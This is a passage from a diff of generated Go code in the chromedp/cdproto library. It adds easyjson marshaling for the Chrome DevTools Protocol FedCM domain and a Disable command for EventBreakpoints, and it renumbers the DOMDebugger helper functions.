isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
@@ -926,7 +794,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger11(in *jlexer.Lexe
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger11(out *jwriter.Writer, in EventListener) {
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger9(out *jwriter.Writer, in EventListener) {
out.RawByte('{')
first := true
_ = first
@@ -986,23 +854,23 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger11(out *jwriter.Wr
// MarshalJSON supports json.Marshaler interface
func (v EventListener) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger11(&w, v)
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger9(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v EventListener) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger11(w, v)
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDomdebugger9(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *EventListener) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger11(&r, v)
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger9(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *EventListener) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger11(l, v)
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDomdebugger9(l, v)
}
+59
View File
@@ -149,3 +149,62 @@ func (v *RemoveInstrumentationBreakpointParams) UnmarshalJSON(data []byte) error
func (v *RemoveInstrumentationBreakpointParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoEventbreakpoints1(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoEventbreakpoints2(in *jlexer.Lexer, out *DisableParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoEventbreakpoints2(out *jwriter.Writer, in DisableParams) {
out.RawByte('{')
first := true
_ = first
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v DisableParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoEventbreakpoints2(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v DisableParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoEventbreakpoints2(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *DisableParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoEventbreakpoints2(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *DisableParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoEventbreakpoints2(l, v)
}
+20 -4
View File
@@ -1,10 +1,10 @@
// Package eventbreakpoints provides the Chrome DevTools Protocol
// commands, types, and events for the EventBreakpoints domain.
//
// EventBreakpoints permits setting breakpoints on particular operations and
// events in targets that run JavaScript but do not have a DOM. JavaScript
// execution will stop on these operations as if there was a regular breakpoint
// set.
// EventBreakpoints permits setting JavaScript breakpoints on operations and
// events occurring in native code invoked from JavaScript. Once breakpoint is
// hit, it is reported through Debugger domain, similarly to regular breakpoints
// being hit.
//
// Generated by the cdproto-gen command.
package eventbreakpoints
@@ -66,8 +66,24 @@ func (p *RemoveInstrumentationBreakpointParams) Do(ctx context.Context) (err err
return cdp.Execute(ctx, CommandRemoveInstrumentationBreakpoint, p, nil)
}
// DisableParams removes all breakpoints.
type DisableParams struct{}
// Disable removes all breakpoints.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/EventBreakpoints#method-disable
func Disable() *DisableParams {
return &DisableParams{}
}
// Do executes EventBreakpoints.disable against the provided context.
func (p *DisableParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandDisable, nil, nil)
}
// Command names.
const (
CommandSetInstrumentationBreakpoint = "EventBreakpoints.setInstrumentationBreakpoint"
CommandRemoveInstrumentationBreakpoint = "EventBreakpoints.removeInstrumentationBreakpoint"
CommandDisable = "EventBreakpoints.disable"
)
+683
View File
@@ -0,0 +1,683 @@
// Code generated by easyjson for marshaling/unmarshaling. DO NOT EDIT.
package fedcm
import (
json "encoding/json"
easyjson "github.com/mailru/easyjson"
jlexer "github.com/mailru/easyjson/jlexer"
jwriter "github.com/mailru/easyjson/jwriter"
)
// suppress unused package warning
var (
_ *json.RawMessage
_ *jlexer.Lexer
_ *jwriter.Writer
_ easyjson.Marshaler
)
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm(in *jlexer.Lexer, out *SelectAccountParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "dialogId":
out.DialogID = string(in.String())
case "accountIndex":
out.AccountIndex = int64(in.Int64())
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm(out *jwriter.Writer, in SelectAccountParams) {
out.RawByte('{')
first := true
_ = first
{
const prefix string = ",\"dialogId\":"
out.RawString(prefix[1:])
out.String(string(in.DialogID))
}
{
const prefix string = ",\"accountIndex\":"
out.RawString(prefix)
out.Int64(int64(in.AccountIndex))
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v SelectAccountParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v SelectAccountParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *SelectAccountParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *SelectAccountParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm1(in *jlexer.Lexer, out *ResetCooldownParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm1(out *jwriter.Writer, in ResetCooldownParams) {
out.RawByte('{')
first := true
_ = first
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v ResetCooldownParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm1(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v ResetCooldownParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm1(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *ResetCooldownParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm1(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *ResetCooldownParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm1(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm2(in *jlexer.Lexer, out *EventDialogShown) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "dialogId":
out.DialogID = string(in.String())
case "dialogType":
(out.DialogType).UnmarshalEasyJSON(in)
case "accounts":
if in.IsNull() {
in.Skip()
out.Accounts = nil
} else {
in.Delim('[')
if out.Accounts == nil {
if !in.IsDelim(']') {
out.Accounts = make([]*Account, 0, 8)
} else {
out.Accounts = []*Account{}
}
} else {
out.Accounts = (out.Accounts)[:0]
}
for !in.IsDelim(']') {
var v1 *Account
if in.IsNull() {
in.Skip()
v1 = nil
} else {
if v1 == nil {
v1 = new(Account)
}
(*v1).UnmarshalEasyJSON(in)
}
out.Accounts = append(out.Accounts, v1)
in.WantComma()
}
in.Delim(']')
}
case "title":
out.Title = string(in.String())
case "subtitle":
out.Subtitle = string(in.String())
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm2(out *jwriter.Writer, in EventDialogShown) {
out.RawByte('{')
first := true
_ = first
{
const prefix string = ",\"dialogId\":"
out.RawString(prefix[1:])
out.String(string(in.DialogID))
}
{
const prefix string = ",\"dialogType\":"
out.RawString(prefix)
(in.DialogType).MarshalEasyJSON(out)
}
{
const prefix string = ",\"accounts\":"
out.RawString(prefix)
if in.Accounts == nil && (out.Flags&jwriter.NilSliceAsEmpty) == 0 {
out.RawString("null")
} else {
out.RawByte('[')
for v2, v3 := range in.Accounts {
if v2 > 0 {
out.RawByte(',')
}
if v3 == nil {
out.RawString("null")
} else {
(*v3).MarshalEasyJSON(out)
}
}
out.RawByte(']')
}
}
{
const prefix string = ",\"title\":"
out.RawString(prefix)
out.String(string(in.Title))
}
if in.Subtitle != "" {
const prefix string = ",\"subtitle\":"
out.RawString(prefix)
out.String(string(in.Subtitle))
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v EventDialogShown) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm2(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v EventDialogShown) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm2(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *EventDialogShown) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm2(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *EventDialogShown) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm2(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm3(in *jlexer.Lexer, out *EnableParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "disableRejectionDelay":
out.DisableRejectionDelay = bool(in.Bool())
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm3(out *jwriter.Writer, in EnableParams) {
out.RawByte('{')
first := true
_ = first
if in.DisableRejectionDelay {
const prefix string = ",\"disableRejectionDelay\":"
first = false
out.RawString(prefix[1:])
out.Bool(bool(in.DisableRejectionDelay))
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v EnableParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm3(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v EnableParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm3(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *EnableParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm3(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *EnableParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm3(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm4(in *jlexer.Lexer, out *DismissDialogParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "dialogId":
out.DialogID = string(in.String())
case "triggerCooldown":
out.TriggerCooldown = bool(in.Bool())
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm4(out *jwriter.Writer, in DismissDialogParams) {
out.RawByte('{')
first := true
_ = first
{
const prefix string = ",\"dialogId\":"
out.RawString(prefix[1:])
out.String(string(in.DialogID))
}
if in.TriggerCooldown {
const prefix string = ",\"triggerCooldown\":"
out.RawString(prefix)
out.Bool(bool(in.TriggerCooldown))
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v DismissDialogParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm4(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v DismissDialogParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm4(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *DismissDialogParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm4(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *DismissDialogParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm4(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm5(in *jlexer.Lexer, out *DisableParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm5(out *jwriter.Writer, in DisableParams) {
out.RawByte('{')
first := true
_ = first
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v DisableParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm5(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v DisableParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm5(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *DisableParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm5(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *DisableParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm5(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm6(in *jlexer.Lexer, out *ConfirmIdpLoginParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "dialogId":
out.DialogID = string(in.String())
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm6(out *jwriter.Writer, in ConfirmIdpLoginParams) {
out.RawByte('{')
first := true
_ = first
{
const prefix string = ",\"dialogId\":"
out.RawString(prefix[1:])
out.String(string(in.DialogID))
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v ConfirmIdpLoginParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm6(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v ConfirmIdpLoginParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm6(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *ConfirmIdpLoginParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm6(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *ConfirmIdpLoginParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm6(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm7(in *jlexer.Lexer, out *Account) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "accountId":
out.AccountID = string(in.String())
case "email":
out.Email = string(in.String())
case "name":
out.Name = string(in.String())
case "givenName":
out.GivenName = string(in.String())
case "pictureUrl":
out.PictureURL = string(in.String())
case "idpConfigUrl":
out.IdpConfigURL = string(in.String())
case "idpLoginUrl":
out.IdpLoginURL = string(in.String())
case "loginState":
(out.LoginState).UnmarshalEasyJSON(in)
case "termsOfServiceUrl":
out.TermsOfServiceURL = string(in.String())
case "privacyPolicyUrl":
out.PrivacyPolicyURL = string(in.String())
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm7(out *jwriter.Writer, in Account) {
out.RawByte('{')
first := true
_ = first
{
const prefix string = ",\"accountId\":"
out.RawString(prefix[1:])
out.String(string(in.AccountID))
}
{
const prefix string = ",\"email\":"
out.RawString(prefix)
out.String(string(in.Email))
}
{
const prefix string = ",\"name\":"
out.RawString(prefix)
out.String(string(in.Name))
}
{
const prefix string = ",\"givenName\":"
out.RawString(prefix)
out.String(string(in.GivenName))
}
{
const prefix string = ",\"pictureUrl\":"
out.RawString(prefix)
out.String(string(in.PictureURL))
}
{
const prefix string = ",\"idpConfigUrl\":"
out.RawString(prefix)
out.String(string(in.IdpConfigURL))
}
{
const prefix string = ",\"idpLoginUrl\":"
out.RawString(prefix)
out.String(string(in.IdpLoginURL))
}
{
const prefix string = ",\"loginState\":"
out.RawString(prefix)
(in.LoginState).MarshalEasyJSON(out)
}
if in.TermsOfServiceURL != "" {
const prefix string = ",\"termsOfServiceUrl\":"
out.RawString(prefix)
out.String(string(in.TermsOfServiceURL))
}
if in.PrivacyPolicyURL != "" {
const prefix string = ",\"privacyPolicyUrl\":"
out.RawString(prefix)
out.String(string(in.PrivacyPolicyURL))
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v Account) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm7(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v Account) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoFedcm7(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *Account) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm7(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *Account) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoFedcm7(l, v)
}
Loaded 100 of 519 files, more files were not shown because too many files have changed in this diff. Show more